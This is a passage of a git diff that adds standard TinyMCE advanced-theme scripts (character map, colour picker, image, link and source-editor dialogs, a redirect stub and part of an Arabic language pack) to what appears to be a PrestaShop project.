false,'right-pointing angle bracket'], + ['◊', '◊', true, 'lozenge'], + ['♠', '♠', true, 'black spade suit'], + ['♣', '♣', true, 'black club suit'], + ['♥', '♥', true, 'black heart suit'], + ['♦', '♦', true, 'black diamond suit'], + [' ', ' ', false,'en space'], + [' ', ' ', false,'em space'], + [' ', ' ', false,'thin space'], + ['‌', '‌', false,'zero width non-joiner'], + ['‍', '‍', false,'zero width joiner'], + ['‎', '‎', false,'left-to-right mark'], + ['‏', '‏', false,'right-to-left mark'], + ['­', '­', false,'soft hyphen'] +]; + +tinyMCEPopup.onInit.add(function() { + tinyMCEPopup.dom.setHTML('charmapView', renderCharMapHTML()); + addKeyboardNavigation(); +}); + +function addKeyboardNavigation(){ + var tableElm, cells, settings; + + cells = tinyMCEPopup.dom.select("a.charmaplink", "charmapgroup"); + + settings ={ + root: "charmapgroup", + items: cells + }; + cells[0].tabindex=0; + tinyMCEPopup.dom.addClass(cells[0], "mceFocus"); + if (tinymce.isGecko) { + cells[0].focus(); + } else { + setTimeout(function(){ + cells[0].focus(); + }, 100); + } + tinyMCEPopup.editor.windowManager.createInstance('tinymce.ui.KeyboardNavigation', settings, tinyMCEPopup.dom); +} + +function renderCharMapHTML() { + var charsPerRow = 20, tdWidth=20, tdHeight=20, i; + var html = '
    '+ + ''; + var cols=-1; + + for (i=0; i' + + '' + + charmap[i][1] + + ''; + if ((cols+1) % charsPerRow == 0) + html += ''; + } + } + + if (cols % charsPerRow > 0) { + var padd = charsPerRow - (cols % charsPerRow); + for (var i=0; i '; + } + + html += '
    '; + html = html.replace(/<\/tr>/g, ''); + + return html; +} + +function insertChar(chr) { + tinyMCEPopup.execCommand('mceInsertContent', false, '&#' + chr + ';'); + + // Refocus in window + if (tinyMCEPopup.isWindow) + window.focus(); + + tinyMCEPopup.editor.focus(); + tinyMCEPopup.close(); +} + +function previewChar(codeA, codeB, codeN) { + var elmA = document.getElementById('codeA'); + var elmB = document.getElementById('codeB'); + var elmV = document.getElementById('codeV'); + var elmN = document.getElementById('codeN'); + + if (codeA=='#160;') { + elmV.innerHTML = '__'; + } else { + elmV.innerHTML = '&' + codeA; + } + + elmB.innerHTML = '&' + codeA; + elmA.innerHTML = '&' + codeB; + elmN.innerHTML = codeN; +} diff --git a/js/tiny_mce/themes/advanced/js/color_picker.js b/js/tiny_mce/themes/advanced/js/color_picker.js new file mode 100755 index 0000000..3cbf32c --- /dev/null +++ b/js/tiny_mce/themes/advanced/js/color_picker.js @@ -0,0 +1,329 @@ +tinyMCEPopup.requireLangPack(); + +var detail = 50, strhex = "0123456789abcdef", i, isMouseDown = false, isMouseOver = false; + +var colors = [ + "#000000","#000033","#000066","#000099","#0000cc","#0000ff","#330000","#330033", + "#330066","#330099","#3300cc","#3300ff","#660000","#660033","#660066","#660099", + "#6600cc","#6600ff","#990000","#990033","#990066","#990099","#9900cc","#9900ff", + "#cc0000","#cc0033","#cc0066","#cc0099","#cc00cc","#cc00ff","#ff0000","#ff0033", + "#ff0066","#ff0099","#ff00cc","#ff00ff","#003300","#003333","#003366","#003399", + "#0033cc","#0033ff","#333300","#333333","#333366","#333399","#3333cc","#3333ff", + "#663300","#663333","#663366","#663399","#6633cc","#6633ff","#993300","#993333", + "#993366","#993399","#9933cc","#9933ff","#cc3300","#cc3333","#cc3366","#cc3399", + "#cc33cc","#cc33ff","#ff3300","#ff3333","#ff3366","#ff3399","#ff33cc","#ff33ff", + "#006600","#006633","#006666","#006699","#0066cc","#0066ff","#336600","#336633", + "#336666","#336699","#3366cc","#3366ff","#666600","#666633","#666666","#666699", + "#6666cc","#6666ff","#996600","#996633","#996666","#996699","#9966cc","#9966ff", + "#cc6600","#cc6633","#cc6666","#cc6699","#cc66cc","#cc66ff","#ff6600","#ff6633", + "#ff6666","#ff6699","#ff66cc","#ff66ff","#009900","#009933","#009966","#009999", + "#0099cc","#0099ff","#339900","#339933","#339966","#339999","#3399cc","#3399ff", + "#669900","#669933","#669966","#669999","#6699cc","#6699ff","#999900","#999933", + "#999966","#999999","#9999cc","#9999ff","#cc9900","#cc9933","#cc9966","#cc9999", + "#cc99cc","#cc99ff","#ff9900","#ff9933","#ff9966","#ff9999","#ff99cc","#ff99ff", + "#00cc00","#00cc33","#00cc66","#00cc99","#00cccc","#00ccff","#33cc00","#33cc33", + "#33cc66","#33cc99","#33cccc","#33ccff","#66cc00","#66cc33","#66cc66","#66cc99", + "#66cccc","#66ccff","#99cc00","#99cc33","#99cc66","#99cc99","#99cccc","#99ccff", + "#cccc00","#cccc33","#cccc66","#cccc99","#cccccc","#ccccff","#ffcc00","#ffcc33", + "#ffcc66","#ffcc99","#ffcccc","#ffccff","#00ff00","#00ff33","#00ff66","#00ff99", + "#00ffcc","#00ffff","#33ff00","#33ff33","#33ff66","#33ff99","#33ffcc","#33ffff", + "#66ff00","#66ff33","#66ff66","#66ff99","#66ffcc","#66ffff","#99ff00","#99ff33", + "#99ff66","#99ff99","#99ffcc","#99ffff","#ccff00","#ccff33","#ccff66","#ccff99", + "#ccffcc","#ccffff","#ffff00","#ffff33","#ffff66","#ffff99","#ffffcc","#ffffff" +]; + +var named = { + '#F0F8FF':'Alice Blue','#FAEBD7':'Antique White','#00FFFF':'Aqua','#7FFFD4':'Aquamarine','#F0FFFF':'Azure','#F5F5DC':'Beige', + '#FFE4C4':'Bisque','#000000':'Black','#FFEBCD':'Blanched Almond','#0000FF':'Blue','#8A2BE2':'Blue Violet','#A52A2A':'Brown', + '#DEB887':'Burly Wood','#5F9EA0':'Cadet Blue','#7FFF00':'Chartreuse','#D2691E':'Chocolate','#FF7F50':'Coral','#6495ED':'Cornflower Blue', + '#FFF8DC':'Cornsilk','#DC143C':'Crimson','#00FFFF':'Cyan','#00008B':'Dark Blue','#008B8B':'Dark Cyan','#B8860B':'Dark Golden Rod', + '#A9A9A9':'Dark Gray','#A9A9A9':'Dark Grey','#006400':'Dark Green','#BDB76B':'Dark Khaki','#8B008B':'Dark Magenta','#556B2F':'Dark Olive Green', + '#FF8C00':'Darkorange','#9932CC':'Dark Orchid','#8B0000':'Dark Red','#E9967A':'Dark Salmon','#8FBC8F':'Dark Sea Green','#483D8B':'Dark Slate Blue', + '#2F4F4F':'Dark Slate Gray','#2F4F4F':'Dark Slate Grey','#00CED1':'Dark Turquoise','#9400D3':'Dark Violet','#FF1493':'Deep Pink','#00BFFF':'Deep Sky Blue', + '#696969':'Dim Gray','#696969':'Dim Grey','#1E90FF':'Dodger Blue','#B22222':'Fire Brick','#FFFAF0':'Floral White','#228B22':'Forest Green', + '#FF00FF':'Fuchsia','#DCDCDC':'Gainsboro','#F8F8FF':'Ghost White','#FFD700':'Gold','#DAA520':'Golden Rod','#808080':'Gray','#808080':'Grey', + '#008000':'Green','#ADFF2F':'Green Yellow','#F0FFF0':'Honey Dew','#FF69B4':'Hot Pink','#CD5C5C':'Indian Red','#4B0082':'Indigo','#FFFFF0':'Ivory', + '#F0E68C':'Khaki','#E6E6FA':'Lavender','#FFF0F5':'Lavender Blush','#7CFC00':'Lawn Green','#FFFACD':'Lemon Chiffon','#ADD8E6':'Light Blue', + '#F08080':'Light Coral','#E0FFFF':'Light Cyan','#FAFAD2':'Light Golden Rod Yellow','#D3D3D3':'Light Gray','#D3D3D3':'Light Grey','#90EE90':'Light Green', + '#FFB6C1':'Light Pink','#FFA07A':'Light Salmon','#20B2AA':'Light Sea Green','#87CEFA':'Light Sky Blue','#778899':'Light Slate Gray','#778899':'Light Slate Grey', + '#B0C4DE':'Light Steel Blue','#FFFFE0':'Light Yellow','#00FF00':'Lime','#32CD32':'Lime Green','#FAF0E6':'Linen','#FF00FF':'Magenta','#800000':'Maroon', + '#66CDAA':'Medium Aqua Marine','#0000CD':'Medium Blue','#BA55D3':'Medium Orchid','#9370D8':'Medium Purple','#3CB371':'Medium Sea Green','#7B68EE':'Medium Slate Blue', + '#00FA9A':'Medium Spring Green','#48D1CC':'Medium Turquoise','#C71585':'Medium Violet Red','#191970':'Midnight Blue','#F5FFFA':'Mint Cream','#FFE4E1':'Misty Rose','#FFE4B5':'Moccasin', + '#FFDEAD':'Navajo White','#000080':'Navy','#FDF5E6':'Old Lace','#808000':'Olive','#6B8E23':'Olive Drab','#FFA500':'Orange','#FF4500':'Orange Red','#DA70D6':'Orchid', + '#EEE8AA':'Pale Golden Rod','#98FB98':'Pale Green','#AFEEEE':'Pale Turquoise','#D87093':'Pale Violet Red','#FFEFD5':'Papaya Whip','#FFDAB9':'Peach Puff', + '#CD853F':'Peru','#FFC0CB':'Pink','#DDA0DD':'Plum','#B0E0E6':'Powder Blue','#800080':'Purple','#FF0000':'Red','#BC8F8F':'Rosy Brown','#4169E1':'Royal Blue', + '#8B4513':'Saddle Brown','#FA8072':'Salmon','#F4A460':'Sandy Brown','#2E8B57':'Sea Green','#FFF5EE':'Sea Shell','#A0522D':'Sienna','#C0C0C0':'Silver', + '#87CEEB':'Sky Blue','#6A5ACD':'Slate Blue','#708090':'Slate Gray','#708090':'Slate Grey','#FFFAFA':'Snow','#00FF7F':'Spring Green', + '#4682B4':'Steel Blue','#D2B48C':'Tan','#008080':'Teal','#D8BFD8':'Thistle','#FF6347':'Tomato','#40E0D0':'Turquoise','#EE82EE':'Violet', + '#F5DEB3':'Wheat','#FFFFFF':'White','#F5F5F5':'White Smoke','#FFFF00':'Yellow','#9ACD32':'Yellow Green' +}; + +var namedLookup = {}; + +function init() { + var inputColor = convertRGBToHex(tinyMCEPopup.getWindowArg('input_color')), key, value; + + tinyMCEPopup.resizeToInnerSize(); + + generatePicker(); + generateWebColors(); + generateNamedColors(); + + if (inputColor) { + changeFinalColor(inputColor); + + col = convertHexToRGB(inputColor); + + if (col) + updateLight(col.r, col.g, col.b); + } + + for (key in named) { + value = named[key]; + namedLookup[value.replace(/\s+/, '').toLowerCase()] = key.replace(/#/, '').toLowerCase(); + } +} + +function toHexColor(color) { + var matches, red, green, blue, toInt = parseInt; + + function hex(value) { + value = parseInt(value).toString(16); + + return value.length > 1 ? value : '0' + value; // Padd with leading zero + }; + + color = color.replace(/[\s#]+/g, '').toLowerCase(); + color = namedLookup[color] || color; + matches = /^rgb\((\d{1,3}),(\d{1,3}),(\d{1,3})\)|([a-f0-9]{2})([a-f0-9]{2})([a-f0-9]{2})|([a-f0-9])([a-f0-9])([a-f0-9])$/.exec(color); + + if (matches) { + if (matches[1]) { + red = toInt(matches[1]); + green = toInt(matches[2]); + blue = toInt(matches[3]); + } else if (matches[4]) { + red = toInt(matches[4], 16); + green = toInt(matches[5], 16); + blue = toInt(matches[6], 16); + } else if (matches[7]) { + red = toInt(matches[7] + matches[7], 16); + green = toInt(matches[8] + matches[8], 16); + blue = toInt(matches[9] + matches[9], 16); + } + + return '#' + hex(red) + hex(green) + hex(blue); + } + + return ''; +} + +function insertAction() { + var color = document.getElementById("color").value, f = tinyMCEPopup.getWindowArg('func'); + + tinyMCEPopup.restoreSelection(); + + if (f) + f(toHexColor(color)); + + tinyMCEPopup.close(); +} + +function showColor(color, name) { + if (name) + document.getElementById("colorname").innerHTML = name; + + document.getElementById("preview").style.backgroundColor = color; + document.getElementById("color").value = color.toUpperCase(); +} + +function convertRGBToHex(col) { + var re = new RegExp("rgb\\s*\\(\\s*([0-9]+).*,\\s*([0-9]+).*,\\s*([0-9]+).*\\)", "gi"); + + if (!col) + return col; + + var rgb = col.replace(re, "$1,$2,$3").split(','); + if (rgb.length == 3) { + r = parseInt(rgb[0]).toString(16); + g = parseInt(rgb[1]).toString(16); + b = parseInt(rgb[2]).toString(16); + + r = r.length == 1 ? '0' + r : r; + g = g.length == 1 ? '0' + g : g; + b = b.length == 1 ? '0' + b : b; + + return "#" + r + g + b; + } + + return col; +} + +function convertHexToRGB(col) { + if (col.indexOf('#') != -1) { + col = col.replace(new RegExp('[^0-9A-F]', 'gi'), ''); + + r = parseInt(col.substring(0, 2), 16); + g = parseInt(col.substring(2, 4), 16); + b = parseInt(col.substring(4, 6), 16); + + return {r : r, g : g, b : b}; + } + + return null; +} + +function generatePicker() { + var el = document.getElementById('light'), h = '', i; + + for (i = 0; i < detail; i++){ + h += '
    '; + } + + el.innerHTML = h; +} + +function generateWebColors() { + var el = document.getElementById('webcolors'), h = '', i; + + if (el.className == 'generated') + return; + + // TODO: VoiceOver doesn't seem to support legend as a label referenced by labelledby. + h += '
    ' + + ''; + + for (i=0; i' + + ''; + if (tinyMCEPopup.editor.forcedHighContrastMode) { + h += ''; + } + h += ''; + h += ''; + if ((i+1) % 18 == 0) + h += ''; + } + + h += '
    '; + + el.innerHTML = h; + el.className = 'generated'; + + paintCanvas(el); + enableKeyboardNavigation(el.firstChild); +} + +function paintCanvas(el) { + tinyMCEPopup.getWin().tinymce.each(tinyMCEPopup.dom.select('canvas.mceColorSwatch', el), function(canvas) { + var context; + if (canvas.getContext && (context = canvas.getContext("2d"))) { + context.fillStyle = canvas.getAttribute('data-color'); + context.fillRect(0, 0, 10, 10); + } + }); +} +function generateNamedColors() { + var el = document.getElementById('namedcolors'), h = '', n, v, i = 0; + + if (el.className == 'generated') + return; + + for (n in named) { + v = named[n]; + h += ''; + if (tinyMCEPopup.editor.forcedHighContrastMode) { + h += ''; + } + h += ''; + h += ''; + i++; + } + + el.innerHTML = h; + el.className = 'generated'; + + paintCanvas(el); + enableKeyboardNavigation(el); +} + +function enableKeyboardNavigation(el) { + tinyMCEPopup.editor.windowManager.createInstance('tinymce.ui.KeyboardNavigation', { + root: el, + items: tinyMCEPopup.dom.select('a', el) + }, tinyMCEPopup.dom); +} + +function dechex(n) { + return strhex.charAt(Math.floor(n / 16)) + strhex.charAt(n % 16); +} + +function computeColor(e) { + var x, y, partWidth, partDetail, imHeight, r, g, b, coef, i, finalCoef, finalR, finalG, finalB, pos = tinyMCEPopup.dom.getPos(e.target); + + x = e.offsetX ? e.offsetX : (e.target ? e.clientX - pos.x : 0); + y = e.offsetY ? e.offsetY : (e.target ? e.clientY - pos.y : 0); + + partWidth = document.getElementById('colors').width / 6; + partDetail = detail / 2; + imHeight = document.getElementById('colors').height; + + r = (x >= 0)*(x < partWidth)*255 + (x >= partWidth)*(x < 2*partWidth)*(2*255 - x * 255 / partWidth) + (x >= 4*partWidth)*(x < 5*partWidth)*(-4*255 + x * 255 / partWidth) + (x >= 5*partWidth)*(x < 6*partWidth)*255; + g = (x >= 0)*(x < partWidth)*(x * 255 / partWidth) + (x >= partWidth)*(x < 3*partWidth)*255 + (x >= 3*partWidth)*(x < 4*partWidth)*(4*255 - x * 255 / partWidth); + b = (x >= 2*partWidth)*(x < 3*partWidth)*(-2*255 + x * 255 / partWidth) + (x >= 3*partWidth)*(x < 5*partWidth)*255 + (x >= 5*partWidth)*(x < 6*partWidth)*(6*255 - x * 255 / partWidth); + + coef = (imHeight - y) / imHeight; + r = 128 + (r - 128) * coef; + g = 128 + (g - 128) * coef; + b = 128 + (b - 128) * coef; + + changeFinalColor('#' + dechex(r) + dechex(g) + dechex(b)); + updateLight(r, g, b); +} + +function updateLight(r, g, b) { + var i, partDetail = detail / 2, finalCoef, finalR, finalG, finalB, color; + + for (i=0; i=0) && (i'); + }, + + init : function() { + var f = document.forms[0], ed = tinyMCEPopup.editor; + + // Setup browse button + document.getElementById('srcbrowsercontainer').innerHTML = getBrowserHTML('srcbrowser','src','image','theme_advanced_image'); + if (isVisible('srcbrowser')) + document.getElementById('src').style.width = '180px'; + + e = ed.selection.getNode(); + + this.fillFileList('image_list', tinyMCEPopup.getParam('external_image_list', 'tinyMCEImageList')); + + if (e.nodeName == 'IMG') { + f.src.value = ed.dom.getAttrib(e, 'src'); + f.alt.value = ed.dom.getAttrib(e, 'alt'); + f.border.value = this.getAttrib(e, 'border'); + f.vspace.value = this.getAttrib(e, 'vspace'); + f.hspace.value = this.getAttrib(e, 'hspace'); + f.width.value = ed.dom.getAttrib(e, 'width'); + f.height.value = ed.dom.getAttrib(e, 'height'); + f.insert.value = ed.getLang('update'); + this.styleVal = ed.dom.getAttrib(e, 'style'); + selectByValue(f, 'image_list', f.src.value); + selectByValue(f, 'align', this.getAttrib(e, 'align')); + this.updateStyle(); + } + }, + + fillFileList : function(id, l) { + var dom = tinyMCEPopup.dom, lst = dom.get(id), v, cl; + + l = typeof(l) === 'function' ? l() : window[l]; + + if (l && l.length > 0) { + lst.options[lst.options.length] = new Option('', ''); + + tinymce.each(l, function(o) { + lst.options[lst.options.length] = new Option(o[0], o[1]); + }); + } else + dom.remove(dom.getParent(id, 'tr')); + }, + + update : function() { + var f = document.forms[0], nl = f.elements, ed = tinyMCEPopup.editor, args = {}, el; + + tinyMCEPopup.restoreSelection(); + + if (f.src.value === '') { + if (ed.selection.getNode().nodeName == 'IMG') { + ed.dom.remove(ed.selection.getNode()); + ed.execCommand('mceRepaint'); + } + + tinyMCEPopup.close(); + return; + } + + if (!ed.settings.inline_styles) { + args = tinymce.extend(args, { + vspace : nl.vspace.value, + hspace : nl.hspace.value, + border : nl.border.value, + align : getSelectValue(f, 'align') + }); + } else + args.style = this.styleVal; + + tinymce.extend(args, { + src : f.src.value.replace(/ /g, '%20'), + alt : f.alt.value, + width : f.width.value, + height : f.height.value + }); + + el = ed.selection.getNode(); + + if (el && el.nodeName == 'IMG') { + ed.dom.setAttribs(el, args); + tinyMCEPopup.editor.execCommand('mceRepaint'); + tinyMCEPopup.editor.focus(); + } else { + tinymce.each(args, function(value, name) { + if (value === "") { + delete args[name]; + } + }); + + ed.execCommand('mceInsertContent', false, tinyMCEPopup.editor.dom.createHTML('img', args), {skip_undo : 1}); + ed.undoManager.add(); + } + + tinyMCEPopup.close(); + }, + + updateStyle : function() { + var dom = tinyMCEPopup.dom, st, v, f = document.forms[0]; + + if (tinyMCEPopup.editor.settings.inline_styles) { + st = tinyMCEPopup.dom.parseStyle(this.styleVal); + + // Handle align + v = getSelectValue(f, 'align'); + if (v) { + if (v == 'left' || v == 'right') { + st['float'] = v; + delete st['vertical-align']; + } else { + st['vertical-align'] = v; + delete st['float']; + } + } else { + delete st['float']; + delete st['vertical-align']; + } + + // Handle border + v = f.border.value; + if (v || v == '0') { + if (v == '0') + st['border'] = '0'; + else + st['border'] = v + 'px solid black'; + } else + delete st['border']; + + // Handle hspace + v = f.hspace.value; + if (v) { + delete st['margin']; + st['margin-left'] = v + 'px'; + st['margin-right'] = v + 'px'; + } else { + delete st['margin-left']; + delete st['margin-right']; + } + + // Handle vspace + v = f.vspace.value; + if (v) { + delete st['margin']; + st['margin-top'] = v + 'px'; + st['margin-bottom'] = v + 'px'; + } else { + delete st['margin-top']; + delete st['margin-bottom']; + } + + // Merge + st = tinyMCEPopup.dom.parseStyle(dom.serializeStyle(st), 'img'); + this.styleVal = dom.serializeStyle(st, 'img'); + } + }, + + getAttrib : function(e, at) { + var ed = tinyMCEPopup.editor, dom = ed.dom, v, v2; + + if (ed.settings.inline_styles) { + switch (at) { + case 'align': + if (v = dom.getStyle(e, 'float')) + return v; + + if (v = dom.getStyle(e, 'vertical-align')) + return v; + + break; + + case 'hspace': + v = dom.getStyle(e, 'margin-left') + v2 = dom.getStyle(e, 'margin-right'); + if (v && v == v2) + return parseInt(v.replace(/[^0-9]/g, '')); + + break; + + case 'vspace': + v = dom.getStyle(e, 'margin-top') + v2 = dom.getStyle(e, 'margin-bottom'); + if (v && v == v2) + return parseInt(v.replace(/[^0-9]/g, '')); + + break; + + case 'border': + v = 0; + + tinymce.each(['top', 'right', 'bottom', 'left'], function(sv) { + sv = dom.getStyle(e, 'border-' + sv + '-width'); + + // False or not the same as prev + if (!sv || (sv != v && v !== 0)) { + v = 0; + return false; + } + + if (sv) + v = sv; + }); + + if (v) + return parseInt(v.replace(/[^0-9]/g, '')); + + break; + } + } + + if (v = dom.getAttrib(e, at)) + return v; + + return ''; + }, + + resetImageData : function() { + var f = document.forms[0]; + + f.width.value = f.height.value = ""; + }, + + updateImageData : function() { + var f = document.forms[0], t = ImageDialog; + + if (f.width.value == "") + f.width.value = t.preloadImg.width; + + if (f.height.value == "") + f.height.value = t.preloadImg.height; + }, + + getImageData : function() { + var f = document.forms[0]; + + this.preloadImg = new Image(); + this.preloadImg.onload = this.updateImageData; + this.preloadImg.onerror = this.resetImageData; + this.preloadImg.src = tinyMCEPopup.editor.documentBaseURI.toAbsolute(f.src.value); + } +}; + +ImageDialog.preInit(); +tinyMCEPopup.onInit.add(ImageDialog.init, ImageDialog); diff --git a/js/tiny_mce/themes/advanced/js/index.php b/js/tiny_mce/themes/advanced/js/index.php new file mode 100755 index 0000000..f42f03e --- /dev/null +++ b/js/tiny_mce/themes/advanced/js/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/js/tiny_mce/themes/advanced/js/link.js b/js/tiny_mce/themes/advanced/js/link.js new file mode 100755 index 0000000..e67d868 --- /dev/null +++ b/js/tiny_mce/themes/advanced/js/link.js @@ -0,0 +1,153 @@ +tinyMCEPopup.requireLangPack(); + +var LinkDialog = { + preInit : function() { + var url; + + if (url = tinyMCEPopup.getParam("external_link_list_url")) + document.write(''); + }, + + init : function() { + var f = document.forms[0], ed = tinyMCEPopup.editor; + + // Setup browse button + document.getElementById('hrefbrowsercontainer').innerHTML = getBrowserHTML('hrefbrowser', 'href', 'file', 'theme_advanced_link'); + if (isVisible('hrefbrowser')) + document.getElementById('href').style.width = '180px'; + + this.fillClassList('class_list'); + this.fillFileList('link_list', 'tinyMCELinkList'); + this.fillTargetList('target_list'); + + if (e = ed.dom.getParent(ed.selection.getNode(), 'A')) { + f.href.value = ed.dom.getAttrib(e, 'href'); + f.linktitle.value = ed.dom.getAttrib(e, 'title'); + f.insert.value = ed.getLang('update'); + selectByValue(f, 'link_list', f.href.value); + selectByValue(f, 'target_list', ed.dom.getAttrib(e, 'target')); + selectByValue(f, 'class_list', ed.dom.getAttrib(e, 'class')); + } + }, + + update : function() { + var f = document.forms[0], ed = tinyMCEPopup.editor, e, b, href = f.href.value.replace(/ /g, '%20'); + + tinyMCEPopup.restoreSelection(); + e = ed.dom.getParent(ed.selection.getNode(), 'A'); + + // Remove element if there is no href + if (!f.href.value) { + if (e) { + b = ed.selection.getBookmark(); + ed.dom.remove(e, 1); + ed.selection.moveToBookmark(b); + tinyMCEPopup.execCommand("mceEndUndoLevel"); + tinyMCEPopup.close(); + return; + } + } + + // Create new anchor elements + if (e == null) { + ed.getDoc().execCommand("unlink", false, null); + tinyMCEPopup.execCommand("mceInsertLink", false, "#mce_temp_url#", {skip_undo : 1}); + + tinymce.each(ed.dom.select("a"), function(n) { + if (ed.dom.getAttrib(n, 'href') == '#mce_temp_url#') { + e = n; + + ed.dom.setAttribs(e, { + href : href, + title : f.linktitle.value, + target : f.target_list ? getSelectValue(f, "target_list") : null, + 'class' : f.class_list ? getSelectValue(f, "class_list") : null + }); + } + }); + } else { + ed.dom.setAttribs(e, { + href : href, + title : f.linktitle.value, + target : f.target_list ? getSelectValue(f, "target_list") : null, + 'class' : f.class_list ? getSelectValue(f, "class_list") : null + }); + } + + // Don't move caret if selection was image + if (e.childNodes.length != 1 || e.firstChild.nodeName != 'IMG') { + ed.focus(); + ed.selection.select(e); + ed.selection.collapse(0); + tinyMCEPopup.storeSelection(); + } + + tinyMCEPopup.execCommand("mceEndUndoLevel"); + tinyMCEPopup.close(); + }, + + checkPrefix : function(n) { + if (n.value && Validator.isEmail(n) && !/^\s*mailto:/i.test(n.value) && confirm(tinyMCEPopup.getLang('advanced_dlg.link_is_email'))) + n.value = 'mailto:' + n.value; + + if (/^\s*www\./i.test(n.value) && confirm(tinyMCEPopup.getLang('advanced_dlg.link_is_external'))) + n.value = 'http://' + n.value; + }, + + fillFileList : function(id, l) { + var dom = tinyMCEPopup.dom, lst = dom.get(id), v, cl; + + l = window[l]; + + if (l && l.length > 0) { + lst.options[lst.options.length] = new Option('', ''); + + tinymce.each(l, function(o) { + lst.options[lst.options.length] = new Option(o[0], o[1]); + }); + } else + dom.remove(dom.getParent(id, 'tr')); + }, + + fillClassList : function(id) { + var dom = tinyMCEPopup.dom, lst = dom.get(id), v, cl; + + if (v = tinyMCEPopup.getParam('theme_advanced_styles')) { + cl = []; + + tinymce.each(v.split(';'), function(v) { + var p = v.split('='); + + cl.push({'title' : p[0], 'class' : p[1]}); + }); + } else + cl = tinyMCEPopup.editor.dom.getClasses(); + + if (cl.length > 0) { + lst.options[lst.options.length] = new Option(tinyMCEPopup.getLang('not_set'), ''); + + tinymce.each(cl, function(o) { + lst.options[lst.options.length] = new Option(o.title || o['class'], o['class']); + }); + } else + dom.remove(dom.getParent(id, 'tr')); + }, + + fillTargetList : function(id) { + var dom = tinyMCEPopup.dom, lst = dom.get(id), v; + + lst.options[lst.options.length] = new Option(tinyMCEPopup.getLang('not_set'), ''); + lst.options[lst.options.length] = new Option(tinyMCEPopup.getLang('advanced_dlg.link_target_same'), '_self'); + lst.options[lst.options.length] = new Option(tinyMCEPopup.getLang('advanced_dlg.link_target_blank'), '_blank'); + + if (v = tinyMCEPopup.getParam('theme_advanced_link_targets')) { + tinymce.each(v.split(','), function(v) { + v = v.split('='); + lst.options[lst.options.length] = new Option(v[0], v[1]); + }); + } + } +}; + +LinkDialog.preInit(); +tinyMCEPopup.onInit.add(LinkDialog.init, LinkDialog); diff --git a/js/tiny_mce/themes/advanced/js/source_editor.js b/js/tiny_mce/themes/advanced/js/source_editor.js new file mode 100755 index 0000000..9cf6b1a --- /dev/null +++ b/js/tiny_mce/themes/advanced/js/source_editor.js @@ -0,0 +1,56 @@ +tinyMCEPopup.requireLangPack(); +tinyMCEPopup.onInit.add(onLoadInit); + +function saveContent() { + tinyMCEPopup.editor.setContent(document.getElementById('htmlSource').value, {source_view : true}); + tinyMCEPopup.close(); +} + +function onLoadInit() { + tinyMCEPopup.resizeToInnerSize(); + + // Remove Gecko spellchecking + if (tinymce.isGecko) + document.body.spellcheck = tinyMCEPopup.editor.getParam("gecko_spellcheck"); + + document.getElementById('htmlSource').value = tinyMCEPopup.editor.getContent({source_view : true}); + + if (tinyMCEPopup.editor.getParam("theme_advanced_source_editor_wrap", true)) { + setWrap('soft'); + document.getElementById('wraped').checked = true; + } + + resizeInputs(); +} + +function setWrap(val) { + var v, n, s = document.getElementById('htmlSource'); + + s.wrap = val; + + if (!tinymce.isIE) { + v = s.value; + n = s.cloneNode(false); + n.setAttribute("wrap", val); + s.parentNode.replaceChild(n, s); + n.value = v; + } +} + +function toggleWordWrap(elm) { + if (elm.checked) + setWrap('soft'); + else + setWrap('off'); +} + +function resizeInputs() { + var vp = tinyMCEPopup.dom.getViewPort(window), el; + + el = document.getElementById('htmlSource'); + + if (el) { + el.style.width = (vp.w - 20) + 'px'; + el.style.height = (vp.h - 65) + 'px'; + } +} diff --git a/js/tiny_mce/themes/advanced/langs/ar.js b/js/tiny_mce/themes/advanced/langs/ar.js new file mode 100755 index 0000000..9bdeef0 --- /dev/null +++ b/js/tiny_mce/themes/advanced/langs/ar.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ar.advanced',{"underline_desc":"\u062a\u062d\u062a\u0647 \u062e\u0637 (Ctrl U)","italic_desc":"\u0645\u0627\u0626\u0644 (Ctrl+I)","bold_desc":"\u0639\u0631\u064a\u0636 (Ctrl+B)",dd:"\u0627\u0644\u0648\u0635\u0641",dt:"\u062a\u0639\u0631\u064a\u0641 \u0645\u0635\u0637\u0644\u062d",samp:"Code sample",code:"\u0642\u0627\u0646\u0648\u0646",blockquote:"\u0639\u0644\u0627\u0645\u0629 \u0627\u0642\u062a\u0628\u0627\u0633 \u0641\u0642\u0631\u0629",h6:"\u0627\u0644\u0639\u0646\u0648\u0627\u0646 6",h5:"\u0627\u0644\u0639\u0646\u0648\u0627\u0646 5",h4:"\u0627\u0644\u0639\u0646\u0648\u0627\u0646 4",h3:"\u0627\u0644\u0639\u0646\u0648\u0627\u0646 3",h2:"\u0627\u0644\u0639\u0646\u0648\u0627\u0646 2",h1:"\u0627\u0644\u0639\u0646\u0648\u0627\u0646 1",pre:"\u0645\u0647\u064a\u0623 \u0645\u0633\u0628\u0642",address:"\u0627\u0644\u0639\u0646\u0648\u0627\u0646",div:"\u0627\u0644\u062f\u0631\u062c\u0629",paragraph:"\u0627\u0644\u0646\u0635",block:"\u0627\u0644\u0647\u064a\u0626\u0647",fontdefault:"\u0639\u0627\u0626\u0644\u0647 \u0627\u0644\u062e\u0637","font_size":"\u062d\u062c\u0645 \u0627\u0644\u062e\u0637","style_select":"\u0627\u0644\u0633\u0645\u0627\u062a","more_colors":"\u0627\u0644\u0645\u0632\u064a\u062f \u0645\u0646 \u0627\u0644\u0623\u0644\u0648\u0627\u0646","toolbar_focus":"\u0644\u0644\u062a\u062d\u0631\u0643 \u0627\u0644\u0633\u0631\u064a\u0639 \u0627\u0636\u063a\u0637 \u0639\u0644\u0649 \u0644\u0648\u062d\u0629 \u0627\u0644\u0645\u0641\u0627\u062a\u064a\u062d Alt Q \u0644\u0623\u0632\u0631\u0627\u0631 \u0627\u0644\u0623\u062f\u0648\u0627\u062a\u060c Alt-Z \u0644\u0644\u0645\u062d\u0631\u0631 \u060c Alt-X \u0644\u0645\u0648\u0642\u0639 \u0627\u0644\u0639\u0646\u0635\u0631",newdocument:"\u0647\u0644 \u0623\u0646\u062a 